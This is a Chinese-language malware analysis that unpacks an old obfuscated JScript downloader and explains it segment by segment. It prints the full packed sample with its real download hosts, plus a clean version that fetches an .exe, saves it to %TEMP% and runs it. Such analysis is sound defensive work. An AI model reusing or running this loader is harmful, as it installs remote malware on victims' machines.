eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('6 e(q,4){i{b j=m n("z.A");j.B("C",q,8);j.D();a(j.E==F){5 4(j.G,8)}c{5 4(f,g)}}k(3){5 4(f,g)}}6 r(4){i{e("l://H.s/I/",6(7,3){a(!3){5 4(7,8)}c{e("l://p.J.K/L/",6(7,3){a(!3){5 4(7,8)}c{e("l://M.N/O/",6(7,3){a(!3){5 4(7,8)}c{e("l://p.P.Q/R/",6(7,3){a(!3){5 4(7,8)}c{e("l://p.S.s/T/U//",6(7,3){a(!3){5 4(7,8)}c{5 4(f,g)}})}})}})}})}})}k(3){5 4(f,g)}}6 t(){i{b u=m n("V.W");b v="\\\\"+X.Y().Z(10).11(2,9)+".12";b w=u.13(2)+v;5 w}k(3){5 8}}6 x(o,4){i{b h=t();a(h){b d=m n("14.15");d.16();d.17=1;d.18(o);d.19=0;d.1a(h,2);d.1b();5 4(h,8)}c{5 4(f,g)}}k(3){5 4(f,g)}}r(6(o,3){a(!3){x(o,6(h,3){a(!3){i{b y=m n("1c.1d");y.1e(h)}k(3){}}})}});',62,77,'|||error|callback|return|function|result|false||if|var|else|objStream|getDataFromUrl|null|true|path|try|xmlHttp|catch|http|new|ActiveXObject|data|www|url|getData|com|getTempFilePath|fs|tmpFileName|tmpFilePath|saveToTemp|wsh|MSXML2|XMLHTTP|open|GET|send|status|200|ResponseBody|ahlmedia|download8301|ampro|club|download4897|multiclean|gr|download6907|stellaimpianti|it|download2467|stepstonedev|field|download7812|Scripting|FileSystemObject|Math|random|toString|36|substr|exe|GetSpecialFolder|ADODB|Stream|Open|Type|Write|Position|SaveToFile|Close|WScript|Shell|Run'.split('|'),0,{}))
上面是一段很舊的js 檔案的病毒
在解譯完後,完整編碼是下面這樣
// 1. 透過 HTTP 下載二進位檔案
function getDataFromUrl(url, callback) {
try {
var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
xmlHttp.open("GET", url, false);
xmlHttp.send();
if (xmlHttp.status == 200) {
return callback(xmlHttp.ResponseBody, false);
} else {
return callback(null, true);
}
} catch (error) {
return callback(null, true);
}
}
// 2. 依序嘗試從多個備用網址下載惡意酬載 (Fallback 機制)
function getData(callback) {
// 依序嘗試連線以下 5 個中繼站 (C2 / 跳板網站),只要其中一個成功即回傳資料:
// - hxxp://ahlmedia[.]com/download8301/
// - hxxp://www.ampro[.]club/download4897/
// - hxxp://multiclean[.]gr/download6907/
// - hxxp://www.stellaimpianti[.]it/download2467/
// - hxxp://www.stepstonedev[.]com/field/download7812//
}
// 3. 在系統暫存區產生隨機檔名的 .exe 路徑
function getTempFilePath() {
try {
var fs = new ActiveXObject("Scripting.FileSystemObject");
var tmpFileName = "\\" + Math.random().toString(36).substr(2, 9) + ".exe";
var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName; // 2 代表系統 %TEMP% 目錄
return tmpFilePath;
} catch (error) {
return false;
}
}
// 4. 將下載的二進位資料寫入硬碟
function saveToTemp(data, callback) {
try {
var path = getTempFilePath();
if (path) {
var objStream = new ActiveXObject("ADODB.Stream");
objStream.Open();
objStream.Type = 1; // Binary 二進位模式
objStream.Write(data);
objStream.Position = 0;
objStream.SaveToFile(path, 2); // 寫入並覆蓋檔案
objStream.Close();
return callback(path, false);
}
} catch (error) { ... }
}
// 5. 主流程:下載 -> 存檔 -> 執行
getData(function(data, error) {
if (!error) {
saveToTemp(data, function(path, error) {
if (!error) {
try {
var wsh = new ActiveXObject("WScript.Shell");
wsh.Run(path); // 執行下載的 .exe 惡意程式
} catch (error) {}
}
});
}
});
主要段落完整切分為 8 個部分。每個段落皆列出「原始切片」、「代號還原結果」與「逐行功能說明」(註:外部連線網址已替換為安全的 example.com 範例網域)。
這一段是 Packer 混淆器的外殼開頭,負責定義如何把索引數字轉成代號(0-9、a-z、A-Z)。
eval(function(p,a,c,k,e,r){
e=function(c){
return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))
};
eval(function(p,a,c,k,e,r){:定義一個接收 6 個參數的匿名函式,準備將最終還原出的字串交給 eval() 執行。e=function(c){ ... }:定義編碼轉換函式 e。當傳入字典索引編號 c 時:c >= 62(a 為 62),先透過 e(parseInt(c/a)) 計算十位數代號。c % 62 > 35,透過 String.fromCharCode(c+29) 轉為大寫字母 A~Z。<= 35,透過 c.toString(36) 轉為數字 0~9 或小寫字母 a~z。緊接著第 1 段,這段負責把底部的關鍵字陣列 k 與代號綁定,並將壓縮字串 p 中的代號全數替換回原本的單字。
if(!''.replace(/^/,String)){
while(c--)r[e(c)]=k[c]||e(c);
k=[function(e){return r[e]}];
e=function(){return'\\w+'};
c=1
};
while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
return p
}(
while(c--) r[e(c)] = k[c] || e(c);:從最後一個關鍵字(索引 76)倒數回 0,建立對照表物件 r(例如 r['6'] = 'function'、r['b'] = 'var')。如果字典該位置是空的,就保留原代號。k = [function(e){ return r[e] }];:將 k[0] 改寫為查表函式。e = function(){ return '\\w+' }; c = 1;:將匹配規則設為 \w+(所有英數單字邊界)。p = p.replace(new RegExp('\\b'+e(c)+'\\b','g'), k[c]);:掃描壓縮字串 p 中的每一個獨立代號,查表替換成真正的程式碼字串。return p }(:回傳還原後的完整程式碼字串,括號 ( 後方開始傳入實際的參數(即第 3 段~第 8 段)。getDataFromUrl(網路下載器)從這裡開始是傳入參數 p 的第一部分,定義了用來發送 HTTP 請求的底層函式。
'6 e(q,4){i{b j=m n("z.A");j.B("C",q,8);j.D();a(j.E==F){5 4(j.G,8)}c{5 4(f,g)}}k(3){5 4(f,g)}}
function getDataFromUrl(url, callback) {
try {
var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
xmlHttp.open("GET", url, false);
xmlHttp.send();
if (xmlHttp.status == 200) {
return callback(xmlHttp.ResponseBody, false);
} else {
return callback(null, true);
}
} catch (error) {
return callback(null, true);
}
}
MSXML2.XMLHTTP 物件,向指定 url 發送同步 GET 請求。若 HTTP 狀態碼為 200(成功),就將下載的二進位內容(ResponseBody)傳給 callback,並標記錯誤狀態為 false;若失敗則回傳 null 與錯誤狀態 true。getData(多網址備援輪詢)緊接在第 3 段後面,定義了依序嘗試 5 個外部網址的巢狀結構。
6 r(4){i{e("l://H.s/I/",6(7,3){a(!3){5 4(7,8)}c{e("l://p.J.K/L/",6(7,3){a(!3){5 4(7,8)}c{e("l://M.N/O/",6(7,3){a(!3){5 4(7,8)}c{e("l://p.P.Q/R/",6(7,3){a(!3){5 4(7,8)}c{e("l://p.S.s/T/U//",6(7,3){a(!3){5 4(7,8)}c{5 4(f,g)}})}})}})}})}})}k(3){5 4(f,g)}}
function getData(callback) {
try {
getDataFromUrl("http://example.com/site1/", function(result, error) {
if (!error) {
return callback(result, false);
} else {
getDataFromUrl("http://www.example.com/site2/", function(result, error) {
if (!error) {
return callback(result, false);
} else {
// ... 中間依序再巢狀嘗試第 3、第 4、第 5 個備用網址 ...
// 若 5 個網址全部失敗,最終執行:
return callback(null, true);
}
});
}
});
} catch (error) {
return callback(null, true);
}
}
getDataFromUrl。如果第 1 個網站被封鎖或失效(error 為 true),就進入 else 嘗試第 2 個網站,依此類推共嘗試 5 個網址,確保其中一個能成功下載檔案。getTempFilePath(組合暫存路徑)緊接在第 4 段後面,用來產生要寫入硬碟的目標檔案路徑。
6 t(){i{b u=m n("V.W");b v="\\\\"+X.Y().Z(10).11(2,9)+".12";b w=u.13(2)+v;5 w}k(3){5 8}}
function getTempFilePath() {
try {
var fs = new ActiveXObject("Scripting.FileSystemObject");
var tmpFileName = "\\" + Math.random().toString(36).substr(2, 9) + ".exe";
var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;
return tmpFilePath;
} catch (error) {
return false;
}
}
FileSystemObject 取得檔案系統權限。Math.random().toString(36).substr(2, 9) 產生一組 9 碼的隨機英數檔名,並加上 .exe 副檔名。fs.GetSpecialFolder(2) 取得目前使用者的 %TEMP% 暫存資料夾路徑,拼湊成完整路徑後回傳。saveToTemp(二進位寫入硬碟)緊接在第 5 段後面,負責把記憶體中的下載資料存成實體檔案。
6 x(o,4){i{b h=t();a(h){b d=m n("14.15");d.16();d.17=1;d.18(o);d.19=0;d.1a(h,2);d.1b();5 4(h,8)}c{5 4(f,g)}}k(3){5 4(f,g)}}
function saveToTemp(data, callback) {
try {
var path = getTempFilePath();
if (path) {
var objStream = new ActiveXObject("ADODB.Stream");
objStream.Open();
objStream.Type = 1;
objStream.Write(data);
objStream.Position = 0;
objStream.SaveToFile(path, 2);
objStream.Close();
return callback(path, false);
} else {
return callback(null, true);
}
} catch (error) {
return callback(null, true);
}
}
getTempFilePath() 取得存檔路徑 path,接著建立 ADODB.Stream 資料流物件,設定 Type = 1(二進位模式),將下載的 data 寫入並透過 SaveToFile(path, 2) 強制存檔覆蓋,最後將成功存檔的路徑 path 傳給下一步。這是參數 p 字串的最後結尾,負責實際呼叫前面定義好的函式。
r(6(o,3){a(!3){x(o,6(h,3){a(!3){i{b y=m n("1c.1d");y.1e(h)}k(3){}}})}});',
getData(function(data, error) {
if (!error) {
saveToTemp(data, function(path, error) {
if (!error) {
try {
var wsh = new ActiveXObject("WScript.Shell");
wsh.Run(path);
} catch (error) {}
}
});
}
});
getData 下載資料。!error),將資料 data 交給第 6 段的 saveToTemp 寫入暫存區。WScript.Shell 物件並呼叫 wsh.Run(path),直接在背景執行剛存好的 .exe 檔案。整段程式碼的最尾端,提供給第 1、2 段解碼器使用的設定值與單字庫。
62, 77, '|||error|callback|return|function|result|false||if|var|else|objStream|getDataFromUrl|null|true|path|try|xmlHttp|catch|http|new|ActiveXObject|data|www|url|getData|com|getTempFilePath|fs|tmpFileName|tmpFilePath|saveToTemp|wsh|MSXML2|XMLHTTP|open|GET|send|status|200|ResponseBody|[...網域字串省略...]|Scripting|FileSystemObject|Math|random|toString|36|substr|exe|GetSpecialFolder|ADODB|Stream|Open|Type|Write|Position|SaveToFile|Close|WScript|Shell|Run'.split('|'), 0, {}))
62(對應參數 a):指定使用 62 進位制進行代號轉換。77(對應參數 c):指定字典陣列共有 77 個元素。'...'.split('|')(對應參數 k):以 | 符號切開的 77 個原始字串陣列,供第 2 段查表替換使用。0, {}(對應參數 e, r):傳入的初始佔位參數,進入第 1 段後會被內部的轉換函式與空物件覆寫。